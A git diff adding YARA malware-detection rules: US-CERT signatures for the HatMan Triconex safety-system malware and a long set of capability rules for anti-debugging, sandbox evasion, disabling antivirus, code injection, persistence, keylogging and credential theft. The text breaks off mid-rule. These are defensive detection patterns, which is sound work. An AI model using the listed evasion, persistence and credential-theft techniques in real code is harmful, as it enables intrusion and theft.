diff --git a/yara-mikesxrs/US CERT/hatman.yar b/yara-mikesxrs/US CERT/hatman.yar
new file mode 100644
index 0000000..d526ddf
--- /dev/null
+++ b/yara-mikesxrs/US CERT/hatman.yar	
@@ -0,0 +1,111 @@
+
+/*
+* DESCRIPTION: YARA rules to match the known binary components of the HatMan
+* malware targeting Triconex safety controllers. Any matching
+* components should hit using the "hatman" rule in addition to a
+* more specific "hatman_*" rule.
+* AUTHOR: DHS/NCCIC/ICS-CERT
+*From https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf
+*/
+/* Globally only look at small files. */
+private global rule hatman_filesize : hatman {
+condition:
+filesize < 100KB
+}
+/* Private rules that are used at the end in the public rules. */
+private rule hatman_setstatus : hatman {
+strings:
+$preset = { 80 00 40 3c 00 00 62 80 40 00 80 3c 40 20 03 7c
+?? ?? 82 40 04 00 62 80 60 00 80 3c 40 20 03 7c
+?? ?? 82 40 ?? ?? 42 38 }
+condition:
+$preset
+}
+private rule hatman_memcpy : hatman {
+strings:
+$memcpy_be = { 7c a9 03 a6 38 84 ff ff 38 63 ff ff 8c a4 00 01
+9c a3 00 01 42 00 ff f8 4e 80 00 20 }
+$memcpy_le = { a6 03 a9 7c ff ff 84 38 ff ff 63 38 01 00 a4 8c
+01 00 a3 9c f8 ff 00 42 20 00 80 4e }
+condition:
+$memcpy_be or $memcpy_le
+}
+private rule hatman_dividers : hatman {
+strings: 
+$div1 = { 9a 78 56 00 }
+$div2 = { 34 12 00 00 }
+condition:
+$div1 and $div2
+}
+private rule hatman_nullsub : hatman {
+strings:
+$nullsub = { ff ff 60 38 02 00 00 44 20 00 80 4e }
+condition:
+$nullsub
+}
+private rule hatman_origaddr : hatman {
+strings:
+$oaddr_be = { 3c 60 00 03 60 63 96 f4 4e 80 00 20 }
+$oaddr_le = { 03 00 60 3c f4 96 63 60 20 00 80 4e }
+condition:
+$oaddr_be or $oaddr_le
+}
+private rule hatman_origcode : hatman {
+strings:
+$ocode_be = { 3c 00 00 03 60 00 a0 b0 7c 09 03 a6 4e 80 04 20 }
+$ocode_le = { 03 00 00 3c b0 a0 00 60 a6 03 09 7c 20 04 80 4e }
+condition:
+$ocode_be or $ocode_le
+}
+private rule hatman_mftmsr : hatman {
+strings:
+$mfmsr_be = { 7c 63 00 a6 }
+$mfmsr_le = { a6 00 63 7c }
+$mtmsr_be = { 7c 63 01 24 }
+$mtmsr_le = { 24 01 63 7c }
+condition:
+($mfmsr_be and $mtmsr_be) or ($mfmsr_le and $mtmsr_le)
+}
+private rule hatman_loadoff : hatman {
+strings:
+$loadoff_be = { 80 60 00 04 48 00 ?? ?? 70 60 ff ff 28 00 00 00
+40 82 ?? ?? 28 03 00 00 41 82 ?? ?? }
+$loadoff_le = { 04 00 60 80 ?? ?? 00 48 ff ff 60 70 00 00 00 28
+?? ?? 82 40 00 00 03 28 ?? ?? 82 41 }
+condition:
+$loadoff_be or $loadoff_le
+}
+
+private rule hatman_injector_int : hatman {
+condition:
+hatman_memcpy and hatman_origaddr and hatman_loadoff
+}
+private rule hatman_payload_int : hatman {
+condition:
+hatman_memcpy and hatman_origcode and hatman_mftmsr
+}
+/* Actual public rules to match using the private rules. */
+rule hatman_compiled_python : hatman {
+condition:
+hatman_nullsub and hatman_setstatus and hatman_dividers
+}
+rule hatman_injector : hatman {
+condition:
+hatman_injector_int and not hatman_payload_int
+}
+rule hatman_payload : hatman {
+condition:
+hatman_payload_int and not hatman_injector_int
+}
+rule hatman_combined : hatman {
+condition:
+hatman_injector_int and hatman_payload_int and hatman_dividers
+}
+rule hatman : hatman {
+meta:
+author = "DHS/NCCIC/ICS-CERT"
+description = "Matches the known samples of the HatMan malware."
+condition:
+hatman_compiled_python or hatman_injector or hatman_payload
+or hatman_combined
+}
diff --git a/yara-mikesxrs/VectraThreatLab/re.yar b/yara-mikesxrs/VectraThreatLab/re.yar
new file mode 100644
index 0000000..51e3a94
--- /dev/null
+++ b/yara-mikesxrs/VectraThreatLab/re.yar
@@ -0,0 +1,1172 @@
+rule anti_dbg {
+    meta:
+        author = "x0r"
+        description = "Checks if being debugged"
+    version = "0.2"
+    strings:
+        $d1 = "Kernel32.dll" nocase
+        $c1 = "CheckRemoteDebuggerPresent" 
+        $c2 = "IsDebuggerPresent" 
+        $c3 = "OutputDebugString" 
+        $c4 = "ContinueDebugEvent" 
+        $c5 = "DebugActiveProcess" 
+    condition:
+        $d1 and 1 of ($c*)
+}
+
+rule anti_dbgtools {
+    meta:
+        author = "x0r"
+        description = "Checks for the presence of known debug tools"
+    version = "0.1"
+    strings:
+        $f1 = "procexp.exe" nocase
+        $f2 = "procmon.exe" nocase
+        $f3 = "processmonitor.exe" nocase
+        $f4 = "wireshark.exe" nocase
+        $f5 = "fiddler.exe" nocase
+        $f6 = "windbg.exe" nocase
+        $f7 = "ollydbg.exe" nocase
+        $f8 = "winhex.exe" nocase       
+        $f9 = "processhacker.exe" nocase
+        $f10 = "hiew32.exe" nocase
+        $c11 = "\\\\.\\NTICE" 
+        $c12 = "\\\\.\\SICE" 
+        $c13 = "\\\\.\\Syser" 
+        $c14 = "\\\\.\\SyserBoot" 
+        $c15 = "\\\\.\\SyserDbgMsg" 
+    condition:
+        any of them
+}
+
+rule av_sinkhole {
+    meta:
+        author = "x0r"
+        description = "Check for known IP belonging to AV sinkhole"
+        version = "0.1"
+    strings:
+        $s1 = "23.92.16.214"
+        $s2 = "23.92.24.20"
+        $s3 = "23.239.17.167"
+        $s4 = "23.239.18.116"
+        $s5 = "50.56.177.56"
+        $s6 = "50.57.148.87"
+        $s7 = "69.55.59.73"
+        $s8 = "82.196.15.88"
+        $s9 = "85.159.211.119"
+        $s10 = "95.85.23.126"
+        $s11 = "96.126.112.224"
+        $s12 = "107.170.43.224"
+        $s13 = "107.170.106.77"
+        $s14 = "107.170.106.95"
+        $s15 = "107.170.113.230"
+        $s16 = "107.170.122.37"
+        $s17 = "107.170.164.115"
+        $s18 = "128.199.180.131"
+        $s19 = "128.199.187.239"
+        $s20 = "143.215.15.2"
+        $s21 = "143.215.130.33"
+        $s22 = "143.215.130.36"
+        $s23 = "143.215.130.38"
+        $s24 = "143.215.130.42"
+        $s25 = "143.215.130.46"
+        $s26 = "162.243.26.100"
+        $s27 = "162.243.90.135"
+        $s28 = "162.243.106.156"
+        $s29 = "162.243.106.160"
+        $s30 = "162.243.106.165"
+        $s31 = "166.78.16.123"
+        $s32 = "166.78.158.73"
+        $s33 = "192.241.129.22"
+        $s34 = "192.241.142.145"
+        $s35 = "192.241.196.69"
+        $s36 = "192.241.215.118"
+        $s37 = "198.61.227.6"
+        $s38 = "198.74.56.124"
+        $s39 = "198.199.69.31"
+        $s40 = "198.199.75.69"
+        $s41 = "198.199.79.133"
+        $s42 = "198.199.79.201"
+        $s43 = "198.199.79.222"
+        $s44 = "198.199.79.239"
+        $s45 = "198.199.105.51"
+        $s46 = "198.199.110.187"
+        $s47 = "212.71.250.4"
+        $s48 = "87.106.24.200"
+        $s49 = "87.106.26.9"
+        $s50 = "46.4.80.102"
+        $s51 = "54.227.61.124"
+        $s52 = "198.58.124.24"
+        $s53 = "198.177.254.186"
+        $s54 = "50.62.12.103"
+        $s55 = "166.78.62.91"
+        $s56 = "166.78.144.80"
+        $s57 = "23.21.71.54"
+        $s58 = "54.209.178.183"
+        $s59 = "81.166.122.234"
+        $s60 = "95.211.120.23"
+        $s61 = "95.211.172.143"
+        $s62 = "173.193.197.194"
+        $s63 = "87.255.51.229"
+        $s64 = "192.42.116.41"
+        $s65 = "192.42.119.41"
+        $s66 = "50.22.145.246"
+        $s67 = "50.23.174.203"
+        $s68 = "54.83.43.69"
+        $s69 = "82.165.25.167"
+        $s70 = "82.165.25.209"
+        $s71 = "82.165.25.210"
+        $s72 = "212.227.20.19"
+        $s73 = "50.116.32.177"
+        $s74 = "50.116.56.144"
+        $s75 = "66.175.212.197"
+        $s76 = "69.164.203.105"
+        $s77 = "72.14.182.233"
+        $s78 = "109.74.196.143"
+        $s79 = "173.230.133.99"
+        $s80 = "178.79.190.156"
+        $s81 = "198.74.50.135"
+        $s82 = "91.233.244.102"
+        $s83 = "91.233.244.106"
+        $s84 = "148.81.111.111"
+    condition:
+        any of them
+}
+
+rule antisb_joesanbox {
+     meta:
+        author = "x0r"
+        description = "Anti-Sandbox checks for Joe Sandbox"
+    version = "0.1"
+    strings:
+    $p1 = "Software\\Microsoft\\Windows\\CurrentVersion" nocase
+    $c1 = "RegQueryValue" 
+    $s1 = "55274-640-2673064-23950" 
+    condition:
+        all of them
+}
+
+rule antisb_anubis {
+    meta:
+        author = "x0r"
+        description = "Anti-Sandbox checks for Anubis"
+    version = "0.1"
+    strings:
+        $p1 = "Software\\Microsoft\\Windows\\CurrentVersion" nocase
+        $c1 = "RegQueryValue" 
+        $s1 = "76487-337-8429955-22614" 
+        $s2 = "76487-640-1457236-23837" 
+    condition:
+        $p1 and $c1 and 1 of ($s*)
+}
+
+rule antisb_threatExpert {
+    meta:
+        author = "x0r"
+        description = "Anti-Sandbox checks for ThreatExpert"
+    version = "0.1"
+    strings:
+        $f1 = "dbghelp.dll" nocase 
+    condition:
+        all of them
+}
+
+rule antisb_sandboxie {
+    meta:
+        author = "x0r"
+        description = "Anti-Sandbox checks for Sandboxie"
+    version = "0.1"
+    strings:
+        $f1 = "SbieDLL.dll" nocase 
+    condition:
+        all of them
+}
+
+rule antisb_cwsandbox {
+    meta:
+        author = "x0r"
+        description = "Anti-Sandbox checks for CWSandbox"
+    version = "0.1"
+    strings:
+        $p1 = "Software\\Microsoft\\Windows\\CurrentVersion" nocase
+        $s1 = "76487-644-3177037-23510" 
+    condition:
+        all of them
+}
+
+rule antivm_virtualbox {
+    meta:
+        author = "x0r"
+        description = "AntiVM checks for VirtualBox"
+    version = "0.1"
+    strings:
+        $s1 = "VBoxService.exe" nocase
+    condition:
+        any of them
+}
+
+rule antivm_vmware {
+    meta:
+        author = "x0r"
+        description = "AntiVM checks for VMWare"
+    version = "0.1"
+    strings:
+        $s1 = "vmware.exe" nocase
+        $s2 = "vmware-authd.exe" nocase
+        $s3 = "vmware-hostd.exe" nocase
+        $s4 = "vmware-tray.exe" nocase
+        $s5 = "vmware-vmx.exe" nocase
+        $s6 = "vmnetdhcp.exe" nocase
+        $s7 = "vpxclient.exe" nocase
+        $s8 = { b868584d56bb00000000b90a000000ba58560000ed }
+    condition:
+        any of them
+}
+
+rule antivm_bios {
+    meta:
+        author = "x0r"
+        description = "AntiVM checks for Bios version"
+    version = "0.2"
+    strings:
+        $p1 = "HARDWARE\\DESCRIPTION\\System" nocase
+        $p2 = "HARDWARE\\DESCRIPTION\\System\\BIOS" nocase
+        $c1 = "RegQueryValue" 
+        $r1 = "SystemBiosVersion" 
+        $r2 = "VideoBiosVersion" 
+        $r3 = "SystemManufacturer" 
+    condition:
+        1 of ($p*) and 1 of ($c*) and 1 of ($r*)
+}
+
+rule disable_antivirus {
+    meta:
+        author = "x0r"
+        description = "Disable AntiVirus"
+    version = "0.2"
+    strings:
+        $p1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun" nocase
+        $p2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" nocase
+        $p3 = "SOFTWARE\\Policies\\Microsoft\\Windows Defender" nocase
+        $c1 = "RegSetValue" 
+        $r1 = "AntiVirusDisableNotify" 
+        $r2 = "DontReportInfectionInformation" 
+        $r3 = "DisableAntiSpyware" 
+        $r4 = "RunInvalidSignatures" 
+        $r5 = "AntiVirusOverride" 
+        $r6 = "CheckExeSignatures" 
+        $f1 = "blackd.exe" nocase
+        $f2 = "blackice.exe" nocase
+        $f3 = "lockdown.exe" nocase
+        $f4 = "lockdown2000.exe" nocase
+        $f5 = "taskkill.exe" nocase
+        $f6 = "tskill.exe" nocase
+        $f7 = "smc.exe" nocase
+        $f8 = "sniffem.exe" nocase
+        $f9 = "zapro.exe" nocase
+        $f10 = "zlclient.exe" nocase
+        $f11 = "zonealarm.exe" nocase
+    condition:
+        ($c1 and $p1 and 1 of ($f*)) or ($c1 and $p2) or 1 of ($r*) or $p3
+}
+
+rule disable_uax {
+    meta:
+        author = "x0r"
+        description = "Disable User Access Control"
+    version = "0.1"
+    strings:
+        $p1 = "SOFTWARE\\Microsoft\\Security Center" nocase
+        $r1 = "UACDisableNotify"
+    condition:
+        all of them
+}
+
+rule disable_firewall {
+    meta:
+        author = "x0r"
+        description = "Disable Firewall"
+    version = "0.1"
+    strings:
+        $p1 = "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy" nocase
+        $c1 = "RegSetValue" 
+        $r1 = "FirewallPolicy" 
+        $r2 = "EnableFirewall" 
+        $r3 = "FirewallDisableNotify" 
+        $s1 = "netsh firewall add allowedprogram"
+    condition:
+        (1 of ($p*) and $c1 and 1 of ($r*)) or $s1
+}
+
+rule disable_registry {
+    meta:
+        author = "x0r"
+        description = "Disable Registry editor"
+    version = "0.1"
+    strings:
+        $p1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" nocase
+        $c1 = "RegSetValue" 
+        $r1 = "DisableRegistryTools" 
+        $r2 = "DisableRegedit" 
+    condition:
+        1 of ($p*) and $c1 and 1 of ($r*)
+}
+
+rule disable_dep {
+    meta:
+        author = "x0r"
+        description = "Bypass DEP"
+    version = "0.1"
+    strings:
+        $c1 = "EnableExecuteProtectionSupport" 
+        $c2 = "NtSetInformationProcess" 
+        $c3 = "VirtualProctectEx" 
+        $c4 = "SetProcessDEPPolicy" 
+        $c5 = "ZwProtectVirtualMemory" 
+    condition:
+        any of them
+}
+
+rule disable_taskmanager {
+    meta:
+        author = "x0r"
+        description = "Disable Task Manager"
+    version = "0.1"
+    strings:
+        $p1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" nocase
+        $r1 = "DisableTaskMgr" 
+    condition:
+        1 of ($p*) and 1 of ($r*)
+}
+
+rule inject_thread {
+    meta:
+        author = "x0r"
+        description = "Code injection with CreateRemoteThread in a remote process"
+    version = "0.1"
+    strings:
+        $c1 = "OpenProcess" 
+        $c2 = "VirtualAllocEx" 
+        $c3 = "NtWriteVirtualMemory" 
+        $c4 = "WriteProcessMemory" 
+        $c5 = "CreateRemoteThread"
+        $c6 = "CreateThread"
+        $c7 = "OpenProcess" 
+    condition:
+        $c1 and $c2 and ( $c3 or $c4 ) and ( $c5 or $c6 or $c7 )
+}
+
+rule create_process {
+    meta:
+        author = "x0r"
+        description = "Create a new process"
+    version = "0.2"
+    strings:
+        $f1 = "Shell32.dll" nocase
+        $f2 = "Kernel32.dll" nocase
+        $c1 = "ShellExecute" 
+        $c2 = "WinExec" 
+        $c3 = "CreateProcess"
+        $c4 = "CreateThread"
+    condition:
+        ($f1 and $c1 ) or $f2 and ($c2 or $c3 or $c4)
+}
+
+rule persistence {
+    meta:
+        author = "x0r"
+        description = "Install itself for autorun at Windows startup"
+    version = "0.1"
+    strings:
+        $p1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" nocase
+        $p2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" nocase
+        $p3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices" nocase
+        $p4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce" nocase
+        $p5 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" nocase
+        $p6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run" nocase
+        $p7 = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\" nocase
+        $p8 = "SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Windows" nocase
+        $p9 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SharedTaskScheduler" nocase
+        $p10 = "comfile\\shell\\open\\command" nocase
+        $p11 = "piffile\\shell\\open\\command" nocase
+        $p12 = "exefile\\shell\\open\\command" nocase
+        $p13 = "txtfile\\shell\\open\\command" nocase
+    $p14 = "\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"
+        $f1 = "win.ini" nocase
+        $f2 = "system.ini" nocase
+        $f3 = "Start Menu\\Programs\\Startup" nocase
+    condition:
+        any of them
+}
+
+rule hijack_network {
+    meta:
+        author = "x0r"
+        description = "Hijack network configuration"
+    version = "0.1"
+    strings:
+        $p1 = "SOFTWARE\\Classes\\PROTOCOLS\\Handler" nocase
+        $p2 = "SOFTWARE\\Classes\\PROTOCOLS\\Filter" nocase
+        $p3 = "Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer" nocase
+        $p4 = "software\\microsoft\\windows\\currentversion\\internet settings\\proxyenable" nocase
+        $f1 = "drivers\\etc\\hosts" nocase
+    condition:
+        any of them
+}
+
+rule create_service {
+    meta:
+        author = "x0r"
+        description = "Create a windows service"
+    version = "0.2"
+    strings:
+    $f1 = "Advapi32.dll" nocase
+        $c1 = "CreateService" 
+        $c2 = "ControlService" 
+        $c3 = "StartService" 
+        $c4 = "QueryServiceStatus" 
+    condition:
+        all of them
+}
+
+rule create_com_service {
+    meta:
+        author = "x0r"
+        description = "Create a COM server"
+    version = "0.1"
+    strings:
+        $c1 = "DllCanUnloadNow" nocase
+        $c2 = "DllGetClassObject" 
+        $c3 = "DllInstall" 
+        $c4 = "DllRegisterServer" 
+        $c5 = "DllUnregisterServer" 
+    condition:
+        all of them
+}
+
+rule network_udp_sock {
+    meta:
+        author = "x0r"
+        description = "Communications over UDP network"
+    version = "0.1"
+    strings:
+        $f1 = "Ws2_32.dll" nocase
+    $f2 = "System.Net" nocase
+        $f3 = "wsock32.dll" nocase
+        $c0 = "WSAStartup" 
+        $c1 = "sendto" 
+        $c2 = "recvfrom" 
+        $c3 = "WSASendTo" 
+        $c4 = "WSARecvFrom" 
+        $c5 = "UdpClient" 
+    condition:
+        (($f1 or $f3) and 2 of ($c*)) or ($f2 and $c5)
+}
+
+rule network_tcp_listen {
+    meta:
+        author = "x0r"
+        description = "Listen for incoming communication"
+    version = "0.1"
+    strings:
+        $f1 = "Ws2_32.dll" nocase
+        $f2 = "Mswsock.dll" nocase
+        $f3 = "System.Net" nocase
+        $f4 = "wsock32.dll" nocase
+        $c1 = "bind" 
+        $c2 = "accept" 
+        $c3 = "GetAcceptExSockaddrs"
+        $c4 = "AcceptEx" 
+        $c5 = "WSAStartup" 
+        $c6 = "WSAAccept" 
+        $c7 = "WSASocket" 
+        $c8 = "TcpListener" 
+        $c9 = "AcceptTcpClient"
+        $c10 = "listen"
+    condition:
+        1 of ($f*) and 2 of ($c*)
+}
+
+rule network_dyndns {
+    meta:
+        author = "x0r"
+        description = "Communications dyndns network"
+    version = "0.1"
+    strings:    
+    $s1 =".no-ip.org"
+        $s2 =".publicvm.com"
+        $s3 =".linkpc.net"
+        $s4 =".dynu.com"
+        $s5 =".dynu.net"
+        $s6 =".afraid.org"
+        $s7 =".chickenkiller.com"
+        $s8 =".crabdance.com"
+        $s9 =".ignorelist.com"
+        $s10 =".jumpingcrab.com"
+        $s11 =".moo.com"
+        $s12 =".strangled.com"
+        $s13 =".twillightparadox.com"
+        $s14 =".us.to"
+        $s15 =".strangled.net"
+        $s16 =".info.tm"
+        $s17 =".homenet.org"
+        $s18 =".biz.tm"
+        $s19 =".continent.kz"
+        $s20 =".ax.lt"
+        $s21 =".system-ns.com"
+        $s22 =".adultdns.com"
+        $s23 =".craftx.biz"
+        $s24 =".ddns01.com"
+        $s25 =".dns53.biz"
+        $s26 =".dnsapi.info"
+        $s27 =".dnsd.info"
+        $s28 =".dnsdynamic.com"
+        $s29 =".dnsdynamic.net"
+        $s30 =".dnsget.org"
+        $s31 =".fe100.net"
+        $s32 =".flashserv.net"
+        $s33 =".ftp21.net"
+    condition:
+        any of them
+}
+
+rule network_toredo {
+    meta:
+        author = "x0r"
+        description = "Communications over Toredo network"
+    version = "0.1"
+    strings:    
+    $f1 = "FirewallAPI.dll" nocase
+        $p1 = "\\CurrentControlSet\\Services\\Tcpip6\\Parameters\\Interfaces\\" nocase
+    condition:
+        all of them
+}
+
+rule network_smtp_dotNet {
+    meta:
+        author = "x0r"
+        description = "Communications smtp"
+    version = "0.1"
+    strings:    
+    $f1 = "System.Net.Mail" nocase
+        $p1 = "SmtpClient" nocase
+    condition:
+        all of them
+}
+
+rule network_smtp_raw {
+    meta:
+        author = "x0r"
+        description = "Communications smtp"
+    version = "0.1"
+    strings:    
+    $s1 = "MAIL FROM:" nocase
+        $s2 = "RCPT TO:" nocase
+    condition:
+        all of them
+}
+
+rule network_smtp_vb {
+    meta:
+        author = "x0r"
+        description = "Communications smtp"
+    version = "0.1"
+    strings:    
+    $c1 = "CDO.Message" nocase
+        $c2 = "cdoSMTPServer" nocase
+        $c3 = "cdoSendUsingMethod" nocase
+        $c4 = "cdoex.dll" nocase
+        $c5 = "/cdo/configuration/smtpserver" nocase
+    condition:
+        any of them
+}
+
+rule network_p2p_win {
+    meta:
+        author = "x0r"
+        description = "Communications over P2P network"
+    version = "0.1"
+    strings:    
+        $c1 = "PeerCollabExportContact"
+        $c2 = "PeerCollabGetApplicationRegistrationInfo"
+        $c3 = "PeerCollabGetEndpointName"
+        $c4 = "PeerCollabGetEventData"
+        $c5 = "PeerCollabGetInvitationResponse"
+        $c6 = "PeerCollabGetPresenceInfo"
+        $c7 = "PeerCollabGetSigninOptions"
+        $c8 = "PeerCollabInviteContact"
+        $c9 = "PeerCollabInviteEndpoint"
+        $c10 = "PeerCollabParseContact"
+        $c11 = "PeerCollabQueryContactData"
+        $c12 = "PeerCollabRefreshEndpointData"
+        $c13 = "PeerCollabRegisterApplication"
+        $c14 = "PeerCollabRegisterEvent"
+        $c15 = "PeerCollabSetEndpointName"
+        $c16 = "PeerCollabSetObject"
+        $c17 = "PeerCollabSetPresenceInfo"
+        $c18 = "PeerCollabSignout"
+        $c19 = "PeerCollabUnregisterApplication"
+        $c20 = "PeerCollabUpdateContact"
+    condition:
+        5 of them
+}
+
+rule network_tor {
+    meta:
+        author = "x0r"
+        description = "Communications over TOR network"
+    version = "0.1"
+    strings:
+        $p1 = "tor\\hidden_service\\private_key" nocase
+        $p2 = "tor\\hidden_service\\hostname" nocase
+        $p3 = "tor\\lock" nocase
+        $p4 = "tor\\state" nocase
+    condition:
+        any of them
+}
+rule network_irc {
+    meta:
+        author = "x0r"
+        description = "Communications over IRC network"
+    version = "0.1"
+    strings:
+        $s1 = "NICK" 
+        $s2 = "PING" 
+        $s3 = "JOIN" 
+        $s4 = "USER" 
+        $s5 = "PRIVMSG" 
+    condition:
+        all of them
+}
+
+rule network_http {
+    meta:
+        author = "x0r"
+        description = "Communications over HTTP"
+    version = "0.1"
+    strings:
+        $f1 = "wininet.dll" nocase
+        $c1 = "InternetConnect" 
+        $c2 = "InternetOpen" 
+        $c3 = "InternetOpenUrl" 
+        $c4 = "InternetReadFile" 
+        $c5 = "InternetWriteFile" 
+        $c6 = "HttpOpenRequest" 
+        $c7 = "HttpSendRequest" 
+        $c8 = "IdHTTPHeaderInfo" 
+    condition:
+        $f1 and $c1 and ($c2 or $c3) and ($c4 or $c5 or $c6 or $c7 or $c8)
+}
+
+rule network_dropper {
+    meta:
+        author = "x0r"
+        description = "File downloader/dropper" 
+    version = "0.1"
+    strings:
+        $f1 = "urlmon.dll" nocase
+        $c1 = "URLDownloadToFile" 
+        $c2 = "URLDownloadToCacheFile" 
+        $c3 = "URLOpenStream" 
+        $c4 = "URLOpenPullStream" 
+    condition:
+        $f1 and 1 of ($c*)
+}
+
+rule network_ftp {
+    meta:
+        author = "x0r"
+        description = "Communications over FTP" 
+    version = "0.1"
+    strings:
+       $f1 = "Wininet.dll" nocase
+        $c1 = "FtpGetCurrentDirectory" 
+        $c2 = "FtpGetFile" 
+        $c3 = "FtpPutFile" 
+        $c4 = "FtpSetCurrentDirectory" 
+        $c5 = "FtpOpenFile" 
+        $c6 = "FtpGetFileSize" 
+        $c7 = "FtpDeleteFile" 
+        $c8 = "FtpCreateDirectory" 
+        $c9 = "FtpRemoveDirectory" 
+        $c10 = "FtpRenameFile" 
+        $c11 = "FtpDownload" 
+        $c12 = "FtpUpload" 
+        $c13 = "FtpGetDirectory" 
+    condition:
+        $f1 and (4 of ($c*))
+}
+
+rule network_tcp_socket {
+    meta:
+        author = "x0r"
+        description = "Communications over RAW socket"
+    version = "0.1"
+    strings:
+    $f1 = "Ws2_32.dll" nocase
+        $f2 = "wsock32.dll" nocase
+        $c1 = "WSASocket" 
+        $c2 = "socket" 
+        $c3 = "send" 
+        $c4 = "WSASend" 
+        $c5 = "WSAConnect"
+        $c6 = "connect"
+        $c7 = "WSAStartup"
+        $c8 = "closesocket"
+        $c9 = "WSACleanup"
+    condition:
+        1 of ($f*) and 2 of ($c*)
+}
+
+rule network_dns {
+    meta:
+        author = "x0r"
+        description = "Communications use DNS"
+    version = "0.1"
+    strings:
+        $f1 = "System.Net" 
+        $f2 = "Ws2_32.dll" nocase
+        $f3 = "Dnsapi.dll" nocase
+        $f4 = "wsock32.dll" nocase        
+        $c2 = "GetHostEntry" 
+        $c3 = "getaddrinfo"
+        $c4 = "gethostbyname"
+        $c5 = "WSAAsyncGetHostByName"
+        $c6 = "DnsQuery"
+    condition:
+        1 of ($f*) and  1 of ($c*) 
+}
+
+rule network_ssl {
+    meta:
+        author = "x0r"
+        description = "Communications over SSL"
+        version = "0.1"
+    strings:
+        $f1 = "ssleay32.dll" nocase
+        $f2 = "libeay32.dll" nocase
+        $f3 = "libssl32.dll" nocase
+        $c1 = "IdSSLOpenSSL" nocase
+    condition:
+        any of them
+}
+
+rule network_dga {
+    meta:
+        author = "x0r"
+        description = "Communication using dga"
+    version = "0.1"
+    strings: 
+        $dll1 = "Advapi32.dll" nocase
+        $dll2 = "wininet.dll" nocase
+        $dll3 = "Crypt32.dll" nocase
+        $time1 = "SystemTimeToFileTime"  
+        $time2 = "GetSystemTime"  
+        $time3 = "GetSystemTimeAsFileTime"  
+        $hash1 = "CryptCreateHash" 
+        $hash2 = "CryptAcquireContext" 
+        $hash3 = "CryptHashData" 
+        $net1 = "InternetOpen"  
+        $net2 = "InternetOpenUrl"  
+        $net3 = "gethostbyname"  
+        $net4 = "getaddrinfo"  
+    condition:
+        all of ($dll*) and 1 of ($time*) and 1 of ($hash*) and 1 of ($net*) 
+}
+
+
+rule bitcoin {
+    meta:
+        author = "x0r"
+        description = "Perform crypto currency mining"
+    version = "0.1"
+    strings:
+        $f1 = "OpenCL.dll" nocase
+        $f2 = "nvcuda.dll" nocase
+        $f3 = "opengl32.dll" nocase
+        $s1 = "cpuminer 2.2.2X-Mining-Extensions"
+        $s2 = "cpuminer 2.2.3X-Mining-Extensions"
+        $s3 = "Ufasoft bitcoin-miner/0.20"
+        $s4 = "bitcoin" nocase
+        $s5 = "stratum" nocase
+    condition:
+        1 of ($f*) and 1 of ($s*)
+}
+
+rule certificate {
+    meta:
+        author = "x0r"
+        description = "Inject certificate in store"
+    version = "0.1"
+    strings:
+        $f1 = "Crypt32.dll" nocase
+        $r1 = "software\\microsoft\\systemcertificates\\spc\\certificates" nocase
+        $c1 = "CertOpenSystemStore" 
+    condition:
+    all of them
+}
+
+rule escalate_priv {
+    meta:
+        author = "x0r"
+        description = "Escalade priviledges"
+    version = "0.1"
+    strings:
+        $d1 = "Advapi32.dll" nocase
+        $c1 = "SeDebugPrivilege" 
+        $c2 = "AdjustTokenPrivileges" 
+    condition:
+        1 of ($d*) and 1 of ($c*)
+}
+
+rule screenshot {
+    meta:
+        author = "x0r"
+        description = "Take screenshot"
+    version = "0.1"
+    strings:
+        $d1 = "Gdi32.dll" nocase
+        $d2 = "User32.dll" nocase
+        $c1 = "BitBlt" 
+        $c2 = "GetDC" 
+    condition:
+        1 of ($d*) and 1 of ($c*)
+}
+
+rule lookupip {
+    meta:
+        author = "x0r"
+        description = "Lookup external IP"
+    version = "0.1"
+    strings:
+        $n1 = "checkip.dyndns.org" nocase
+        $n2 = "whatismyip.org" nocase
+        $n3 = "whatsmyipaddress.com" nocase
+        $n4 = "getmyip.org" nocase
+        $n5 = "getmyip.co.uk" nocase
+    condition:
+        any of them
+}
+
+rule dyndns {
+    meta:
+        author = "x0r"
+        description = "Dynamic DNS"
+    version = "0.1"
+    strings:
+        $s1 = "SOFTWARE\\Vitalwerks\\DUC" nocase
+    condition:
+        any of them
+}
+
+rule lookupgeo {
+    meta:
+        author = "x0r"
+        description = "Lookup Geolocation"
+    version = "0.1"
+    strings:
+        $n1 = "j.maxmind.com" nocase
+    condition:
+        any of them
+}
+
+rule keylogger {
+    meta:
+        author = "x0r"
+        description = "Run a keylogger"
+    version = "0.1"
+    strings:
+        $f1 = "User32.dll" nocase
+        $c1 = "GetAsyncKeyState" 
+        $c2 = "GetKeyState" 
+        $c3 = "MapVirtualKey" 
+        $c4 = "GetKeyboardType"
+    condition:
+        $f1 and 1 of ($c*)
+}
+
+rule cred_local {
+    meta:
+        author = "x0r"
+        description = "Steal credential"
+    version = "0.1"
+    strings:
+        $c1 = "LsaEnumerateLogonSessions"
+        $c2 = "SamIConnect"
+        $c3 = "SamIGetPrivateData"
+        $c4 = "SamQueryInformationUse"
+        $c5 = "CredEnumerateA"
+        $c6 = "CredEnumerateW"
+        $r1 = "software\\microsoft\\internet account manager" nocase
+        $r2 = "software\\microsoft\\identitycrl\\creds" nocase
+        $r3 = "Security\\Policy\\Secrets"
+    condition:
+        any of them
+}
+
+
+rule sniff_audio {
+    meta:
+        author = "x0r"
